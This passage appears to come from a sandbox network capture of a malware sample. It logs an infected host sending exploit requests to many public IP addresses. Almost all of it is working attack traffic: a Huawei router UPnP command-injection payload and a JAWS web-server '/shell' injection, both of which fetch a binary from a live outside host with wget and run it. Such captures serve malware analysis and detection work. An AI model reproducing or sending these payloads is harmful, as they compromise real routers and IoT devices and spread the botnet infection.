2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	36932	197.17.118.166	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.068835974 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	45584	100.186.253.107	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.082587957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	57956	197.231.150.19	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.097799063 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	42150	41.204.219.73	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.098527908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	56346	197.105.204.171	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.099193096 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	54160	156.3.55.17	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.099941015 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	50426	197.136.135.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.153888941 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	48768	220.43.80.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.154464006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	43720	13.161.131.22	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.154989004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	54106	149.250.7.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.155525923 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	59194	86.124.165.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.156033993 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	40264	68.105.40.66	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.156725883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	57128	8.73.108.228	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.167295933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	34666	166.74.103.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.175880909 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	55364	222.244.100.80	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:04.197839022 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	46456	18.112.98.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.188543081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	37514	198.212.68.69	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.189192057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	46508	57.191.144.175	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.189728975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	50438	79.170.133.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.190243006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	54168	120.243.91.245	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.190751076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	47960	71.56.234.92	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.191262007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	43620	20.35.75.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.191813946 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	59766	186.103.200.154	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.192334890 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	54390	205.253.138.238	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.192861080 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	41054	90.146.94.112	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.193383932 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	37122	31.154.194.45	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.193881989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	43082	12.155.148.111	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.194420099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	36808	180.111.197.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.194935083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	54890	49.180.199.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.195463896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	33976	194.3.119.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.195975065 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	54360	106.191.70.70	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.196482897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	39618	84.18.193.185	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.196990967 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	34730	129.125.175.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.197537899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	41744	45.28.33.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.198055029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	52066	218.163.6.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.198559999 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	33856	164.132.95.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.199070930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	49394	36.241.29.66	80

Timestamp	Bytes transferred	Direction	Data
